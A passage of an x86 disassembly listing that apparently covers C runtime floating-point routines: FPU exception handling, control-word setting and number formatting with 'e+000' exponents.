push 4 call sub_421741 pop ecx and edi, 0FFFFFFFBh jmp loc_421489 ; --------------------------------------------------------------------------- loc_4212D9: ; CODE XREF: sub_421294+2Dj ; sub_421294+33j test al, bl jz loc_4213B3 test byte ptr [ebp+arg_8], 8 jz loc_4213B3 push 8 call sub_421741 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_42138B cmp ecx, 400h jz short loc_421363 cmp ecx, 800h jz short loc_42133B cmp ecx, eax jnz loc_4213AB mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fld dbl_43ABF8 fnstsw ax sahf ja short loc_421333 fchs loc_421333: ; CODE XREF: sub_421294+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4213A9 ; --------------------------------------------------------------------------- loc_42133B: ; CODE XREF: sub_421294+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fnstsw ax sahf jbe short loc_421353 fld dbl_43ABE8 jmp short loc_42135B ; --------------------------------------------------------------------------- loc_421353: ; CODE XREF: sub_421294+B5j fld dbl_43ABF8 fchs loc_42135B: ; CODE XREF: sub_421294+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4213A9 ; --------------------------------------------------------------------------- loc_421363: ; CODE XREF: sub_421294+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fnstsw ax sahf jbe short loc_42137B fld dbl_43ABF8 jmp short loc_421383 ; --------------------------------------------------------------------------- loc_42137B: ; CODE XREF: sub_421294+DDj fld dbl_43ABE8 fchs loc_421383: ; CODE XREF: sub_421294+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4213A9 ; --------------------------------------------------------------------------- loc_42138B: ; CODE XREF: sub_421294+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fld dbl_43ABE8 fnstsw ax sahf ja short loc_4213A3 fchs loc_4213A3: ; CODE XREF: sub_421294+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_4213A9: ; CODE XREF: sub_421294+A5j ; sub_421294+CDj ... fstp qword ptr [ecx] loc_4213AB: ; CODE XREF: sub_421294+81j and edi, 0FFFFFFFEh jmp loc_421489 ; --------------------------------------------------------------------------- loc_4213B3: ; CODE XREF: sub_421294+47j ; sub_421294+51j test al, 2 jz loc_421489 test byte ptr [ebp+arg_8], 10h jz loc_421489 push esi xor esi, esi test al, 10h jz short loc_4213CE mov esi, ebx loc_4213CE: ; CODE XREF: sub_421294+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427848 fnstsw ax sahf jz loc_421477 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421640 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421419 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_42146D ; --------------------------------------------------------------------------- loc_421419: ; CODE XREF: sub_421294+17Aj fld [ebp+var_C] fcomp dbl_427848 fnstsw ax sahf jnb short loc_42142B mov edx, ebx jmp short loc_42142D ; --------------------------------------------------------------------------- loc_42142B: ; CODE XREF: sub_421294+191j xor edx, edx loc_42142D: ; CODE XREF: sub_421294+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421461 sub eax, ecx loc_421444: ; CODE XREF: sub_421294+1CBj test byte ptr [ebp+var_C], bl jz short loc_42144F test esi, esi jnz short loc_42144F mov esi, ebx loc_42144F: ; CODE XREF: sub_421294+1B3j ; sub_421294+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_42145B or byte ptr [ebp+var_C+3], 80h loc_42145B: ; CODE XREF: sub_421294+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421444 loc_421461: ; CODE XREF: sub_421294+1ACj test edx, edx jz short loc_42146D fld [ebp+var_C] fchs fstp [ebp+var_C] loc_42146D: ; CODE XREF: sub_421294+183j ; sub_421294+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421479 ; --------------------------------------------------------------------------- loc_421477: ; CODE XREF: sub_421294+14Ej mov esi, ebx loc_421479: ; CODE XREF: sub_421294+1E1j test esi, esi pop esi jz short loc_421486 push 10h call sub_421741 pop ecx loc_421486: ; CODE XREF: sub_421294+1E8j and edi, 0FFFFFFFDh loc_421489: ; CODE XREF: sub_421294+26j ; sub_421294+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_4214A0 test byte ptr [ebp+arg_8], 20h jz short loc_4214A0 push 20h call sub_421741 pop ecx and edi, 0FFFFFFEFh loc_4214A0: ; CODE XREF: sub_421294+1F9j ; sub_421294+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_421294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4214AB(int,int,int,int,int,int,double,int) sub_4214AB proc near ; CODE XREF: sub_420EF6+2Bp ; sub_420F49+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421559 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421516 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_42171E lea eax, [ebp+var_20] push eax call sub_423F2D add esp, 0Ch test eax, eax jnz short loc_421510 push esi call sub_421533 pop ecx loc_421510: ; CODE XREF: sub_4214AB+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421516: ; CODE XREF: sub_4214AB+14j push 0FFFFh push [ebp+arg_20] call sub_42171E push [ebp+arg_0] call sub_421533 fld [ebp+arg_18] add esp, 0Ch leave retn sub_4214AB endp ; =============== S U B R O U T I N E ======================================= sub_421533 proc near ; CODE XREF: sub_420F49+7Dp ; sub_4214AB+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_42154E jle short locret_421558 cmp eax, 3 jg short locret_421558 mov dword_4D9714, 22h retn ; --------------------------------------------------------------------------- loc_42154E: ; CODE XREF: sub_421533+7j mov dword_4D9714, 21h locret_421558: ; CODE XREF: sub_421533+9j ; sub_421533+Ej retn sub_421533 endp ; =============== S U B R O U T I N E ======================================= sub_421559 proc near ; CODE XREF: sub_4214AB+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43AB10 loc_421560: ; CODE XREF: sub_421559+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421576 add eax, 8 inc ecx cmp eax, offset dbl_43ABE8 jl short loc_421560 xor eax, eax retn ; --------------------------------------------------------------------------- loc_421576: ; CODE XREF: sub_421559+Dj mov eax, off_43AB14[ecx*8] retn sub_421559 endp ; =============== S U B R O U T I N E ======================================= sub_42157E proc near ; CODE XREF: sub_420F49+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_42158A push 5 jmp short loc_4215A0 ; --------------------------------------------------------------------------- loc_42158A: ; CODE XREF: sub_42157E+6j test al, 8 jz short loc_421592 push 1 jmp short loc_4215A0 ; --------------------------------------------------------------------------- loc_421592: ; CODE XREF: sub_42157E+Ej test al, 4 jz short loc_42159A push 2 jmp short loc_4215A0 ; --------------------------------------------------------------------------- loc_42159A: ; CODE XREF: sub_42157E+16j test al, 1 jz short loc_4215A2 push 3 loc_4215A0: ; CODE XREF: sub_42157E+Aj ; sub_42157E+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_4215A2: ; CODE XREF: sub_42157E+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_42157E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4215AB(double) sub_4215AB proc near ; CODE XREF: sub_41CDE5:loc_41CE6Bp ; sub_41CF2B:loc_41CFB1p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_4215AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4215BD(double,int) sub_4215BD proc near ; CODE XREF: sub_421640+82p ; sub_421640+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_4215BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4215E6 proc near ; CODE XREF: sub_41CDE5+31p ; sub_41CF2B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4215FD cmp [ebp+arg_0], edx jnz short loc_42160F push 1 jmp short loc_421639 ; --------------------------------------------------------------------------- loc_4215FD: ; CODE XREF: sub_4215E6+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_42160F cmp [ebp+arg_0], edx jnz short loc_42160F push 2 jmp short loc_421639 ; --------------------------------------------------------------------------- loc_42160F: ; CODE XREF: sub_4215E6+11j ; sub_4215E6+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421622 push 3 jmp short loc_421639 ; --------------------------------------------------------------------------- loc_421622: ; CODE XREF: sub_4215E6+36j cmp cx, 7FF0h jnz short loc_42163C test [ebp+arg_4], 7FFFFh jnz short loc_421637 cmp [ebp+arg_0], edx jz short loc_42163C loc_421637: ; CODE XREF: sub_4215E6+4Aj push 4 loc_421639: ; CODE XREF: sub_4215E6+15j ; sub_4215E6+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42163C: ; CODE XREF: sub_4215E6+41j ; sub_4215E6+4Fj xor eax, eax pop ebp retn sub_4215E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421640(double,int) sub_421640 proc near ; CODE XREF: sub_421294+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427848 push esi fnstsw ax sahf jnz short loc_421660 fldz xor esi, esi fstp [ebp+var_8] jmp loc_4216F6 ; --------------------------------------------------------------------------- loc_421660: ; CODE XREF: sub_421640+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_4216CF test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421678 cmp dword ptr [ebp+arg_0], ecx jz short loc_4216CF loc_421678: ; CODE XREF: sub_421640+31j fld [ebp+arg_0] fcomp dbl_427848 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421690 push 1 pop eax jmp short loc_421692 ; --------------------------------------------------------------------------- loc_421690: ; CODE XREF: sub_421640+49j xor eax, eax loc_421692: ; CODE XREF: sub_421640+4Ej ; sub_421640+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_4216AB shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_4216A5 or dword ptr [ebp+arg_0+4], 1 loc_4216A5: ; CODE XREF: sub_421640+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421692 ; --------------------------------------------------------------------------- loc_4216AB: ; CODE XREF: sub_421640+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_4216B9 or byte ptr [ebp+arg_0+7], 80h loc_4216B9: ; CODE XREF: sub_421640+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4215BD fstp [ebp+var_8] add esp, 0Ch jmp short loc_4216F6 ; --------------------------------------------------------------------------- loc_4216CF: ; CODE XREF: sub_421640+28j ; sub_421640+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4215BD mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4216F6: ; CODE XREF: sub_421640+1Bj ; sub_421640+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421701 proc near ; CODE XREF: sub_420FE1+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_421701 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42170F proc near ; CODE XREF: sub_420FE1+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42170F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42171E proc near ; CODE XREF: sub_41CDE5+13p ; sub_41CDE5+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_42171E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421741 proc near ; CODE XREF: sub_421294+1Dp ; sub_421294+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421758 fld tbyte_43AC10 fistp [ebp+arg_0] wait loc_421758: ; CODE XREF: sub_421741+Bj test cl, 8 jz short loc_42176D fstsw ax fld tbyte_43AC10 fstp [ebp+var_8] wait fstsw ax loc_42176D: ; CODE XREF: sub_421741+1Aj test cl, 10h jz short loc_42177C fld tbyte_43AC1C fstp [ebp+var_8] wait loc_42177C: ; CODE XREF: sub_421741+2Fj test cl, 4 jz short loc_42178A fldz fld1 fdivrp st(1), st fstp st wait loc_42178A: ; CODE XREF: sub_421741+3Ej test cl, 20h jz short locret_421795 fldpi fstp [ebp+var_8] wait locret_421795: ; CODE XREF: sub_421741+4Cj leave retn sub_421741 endp ; =============== S U B R O U T I N E ======================================= sub_421797 proc near ; CODE XREF: sub_41CEB4+Fp push 30000h push 10000h call sub_423F65 pop ecx pop ecx retn sub_421797 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217A9 proc near ; CODE XREF: sub_4217E7:loc_42180Bj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427858 fstp [ebp+var_8] fld dbl_427850 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427710 fnstsw ax sahf jbe short loc_4217E3 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4217E3: ; CODE XREF: sub_4217A9+33j xor eax, eax leave retn sub_4217A9 endp ; =============== S U B R O U T I N E ======================================= sub_4217E7 proc near ; CODE XREF: sub_41CEB4+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2690DE0h test eax, eax jz short loc_42180B push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call near ptr 26C0373h nop test eax, eax jz short loc_42180B push 0 call eax ; sub_41CEB4 retn ; --------------------------------------------------------------------------- loc_42180B: ; CODE XREF: sub_4217E7+Dj ; sub_4217E7+1Dj jmp sub_4217A9 sub_4217E7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421810 proc near ; CODE XREF: sub_41F5D4+3CBp ; DATA XREF: sub_41CECC+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DEEC cmp eax, 65h pop ecx jz short loc_421850 loc_421824: ; CODE XREF: sub_421810+3Ej inc esi cmp dword_43A88C, 1 jle short loc_42183D movsx eax, byte ptr [esi] push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_42184C ; --------------------------------------------------------------------------- loc_42183D: ; CODE XREF: sub_421810+1Cj movsx eax, byte ptr [esi] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 4 loc_42184C: ; CODE XREF: sub_421810+2Bj test eax, eax jnz short loc_421824 loc_421850: ; CODE XREF: sub_421810+12j mov cl, byte_43A890 mov al, [esi] mov [esi], cl inc esi loc_42185B: ; CODE XREF: sub_421810+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_42185B pop esi retn sub_421810 endp ; =============== S U B R O U T I N E ======================================= sub_42186A proc near ; CODE XREF: sub_41F5D4+3E2p ; DATA XREF: sub_41CECC+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43A890 mov cl, [eax] test cl, cl jz short loc_421886 loc_42187A: ; CODE XREF: sub_42186A+1Aj cmp cl, dl jz short loc_421886 mov cl, [eax+1] inc eax test cl, cl jnz short loc_42187A loc_421886: ; CODE XREF: sub_42186A+Ej ; sub_42186A+12j mov cl, [eax] inc eax test cl, cl jz short locret_4218B7 loc_42188D: ; CODE XREF: sub_42186A+34j mov cl, [eax] test cl, cl jz short loc_4218A0 cmp cl, 65h jz short loc_4218A0 cmp cl, 45h jz short loc_4218A0 inc eax jmp short loc_42188D ; --------------------------------------------------------------------------- loc_4218A0: ; CODE XREF: sub_42186A+27j ; sub_42186A+2Cj ... mov ecx, eax loc_4218A2: ; CODE XREF: sub_42186A+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_4218A2 cmp [eax], dl jnz short loc_4218AD dec eax loc_4218AD: ; CODE XREF: sub_42186A+40j ; sub_42186A+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_4218AD locret_4218B7: ; CODE XREF: sub_42186A+21j retn sub_42186A endp ; =============== S U B R O U T I N E ======================================= sub_4218B8 proc near ; DATA XREF: sub_41CECC+28o ; ___:off_43AC38o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427848 fnstsw ax sahf jb short loc_4218CD push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4218CD: ; CODE XREF: sub_4218B8+Fj xor eax, eax retn sub_4218B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4218D0 proc near ; CODE XREF: sub_420445+430p ; DATA XREF: sub_41CECC+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4218F9 lea eax, [ebp+var_8] push eax call sub_424428 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4218F9: ; CODE XREF: sub_4218D0+Cj lea eax, [ebp+arg_8] push eax call sub_424455 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_4218D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42190E proc near ; CODE XREF: sub_421B8B+17p ; sub_421BD5+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4D97AC, 0 push ebx push esi jz short loc_421943 mov ebx, [ebp+arg_8] mov eax, dword_4D97A8 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421C26 pop ecx pop ecx jmp short loc_42197B ; --------------------------------------------------------------------------- loc_421943: ; CODE XREF: sub_42190E+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4244F9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424482 add esp, 14h loc_42197B: ; CODE XREF: sub_42190E+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421987 mov byte ptr [eax], 2Dh inc eax loc_421987: ; CODE XREF: sub_42190E+73j test ebx, ebx jle short loc_42199F mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43A890 mov eax, edi pop edi mov [eax], cl loc_42199F: ; CODE XREF: sub_42190E+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4D97AC, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C620 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_4219C6 mov byte ptr [ecx], 45h loc_4219C6: ; CODE XREF: sub_42190E+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421A0B mov ebx, [esi+4] dec ebx jns short loc_4219DA neg ebx mov byte ptr [ecx], 2Dh loc_4219DA: ; CODE XREF: sub_42190E+C5j inc ecx cmp ebx, 64h jl short loc_4219F1 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4219F1: ; CODE XREF: sub_42190E+D0j inc ecx cmp ebx, 0Ah jl short loc_421A08 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421A08: ; CODE XREF: sub_42190E+E7j add [ecx+1], bl loc_421A0B: ; CODE XREF: sub_42190E+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_42190E endp ; =============== S U B R O U T I N E ======================================= sub_421A12 proc near ; CODE XREF: sub_421BB2+13p ; sub_421BD5+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4D97AC, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421A4D mov eax, dword_4D97B0 mov ebx, [esp+10h+arg_8] mov esi, dword_4D97A8 cmp eax, ebx jnz short loc_421A7D xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421A7D ; --------------------------------------------------------------------------- loc_421A4D: ; CODE XREF: sub_421A12+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4244F9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424482 add esp, 14h loc_421A7D: ; CODE XREF: sub_421A12+22j ; sub_421A12+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421A8B mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421A8B: ; CODE XREF: sub_421A12+70j mov eax, [esi+4] test eax, eax jg short loc_421AA2 push 1 push edi call sub_421C26 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421AA4 ; --------------------------------------------------------------------------- loc_421AA2: ; CODE XREF: sub_421A12+7Ej add edi, eax loc_421AA4: ; CODE XREF: sub_421A12+8Ej test ebx, ebx jle short loc_421AE9 push 1 push edi call sub_421C26 mov al, byte_43A890 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421AE9 cmp byte_4D97AC, 0 jz short loc_421ACE neg esi jmp short loc_421AD4 ; --------------------------------------------------------------------------- loc_421ACE: ; CODE XREF: sub_421A12+B6j neg esi cmp ebx, esi jl short loc_421AD6 loc_421AD4: ; CODE XREF: sub_421A12+BAj mov ebx, esi loc_421AD6: ; CODE XREF: sub_421A12+C0j push ebx push edi call sub_421C26 push ebx push 30h push edi call sub_41BD10 add esp, 14h loc_421AE9: ; CODE XREF: sub_421A12+94j ; sub_421A12+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421A12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421AF0 proc near ; CODE XREF: sub_421BD5+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4244F9 mov dword_4D97A8, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4D97B0, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424482 mov eax, dword_4D97A8 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4D97B0, ecx setl cl mov byte_4D97B4, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4D97B0, eax jl short loc_421B76 cmp eax, ebx jge short loc_421B76 test cl, cl jz short loc_421B67 loc_421B5D: ; CODE XREF: sub_421AF0+72j mov al, [esi] inc esi test al, al jnz short loc_421B5D and [esi-2], al loc_421B67: ; CODE XREF: sub_421AF0+6Bj push ebx push [ebp+arg_4] push edi call sub_421BB2 add esp, 0Ch jmp short loc_421B86 ; --------------------------------------------------------------------------- loc_421B76: ; CODE XREF: sub_421AF0+63j ; sub_421AF0+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421B8B add esp, 10h loc_421B86: ; CODE XREF: sub_421AF0+84j pop edi pop esi pop ebx pop ebp retn sub_421AF0 endp ; =============== S U B R O U T I N E ======================================= sub_421B8B proc near ; CODE XREF: sub_421AF0+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4D97AC, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_42190E and byte_4D97AC, 0 add esp, 10h retn sub_421B8B endp ; =============== S U B R O U T I N E ======================================= sub_421BB2 proc near ; CODE XREF: sub_421AF0+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4D97AC, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421A12 and byte_4D97AC, 0 add esp, 0Ch retn sub_421BB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BD5 proc near ; CODE XREF: sub_41F5D4+3AAp ; DATA XREF: sub_41CECCo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421C10 cmp [ebp+arg_8], 45h jz short loc_421C10 cmp [ebp+arg_8], 66h jnz short loc_421BFD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421A12 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421BFD: ; CODE XREF: sub_421BD5+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421AF0 jmp short loc_421C21 ; --------------------------------------------------------------------------- loc_421C10: ; CODE XREF: sub_421BD5+7j ; sub_421BD5+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42190E loc_421C21: ; CODE XREF: sub_421BD5+39j add esp, 10h pop ebp retn sub_421BD5 endp ; =============== S U B R O U T I N E ======================================= sub_421C26 proc near ; CODE XREF: sub_42190E+2Cp ; sub_421A12+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421C49 push esi mov esi, [esp+8+arg_0] push esi call sub_41B960 inc eax push eax push esi add esi, edi push esi call sub_41D400 add esp, 10h pop esi loc_421C49: ; CODE XREF: sub_421C26+7j pop edi retn sub_421C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C4B proc near ; CODE XREF: ___:0041D0ACp ; sub_41D115+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h 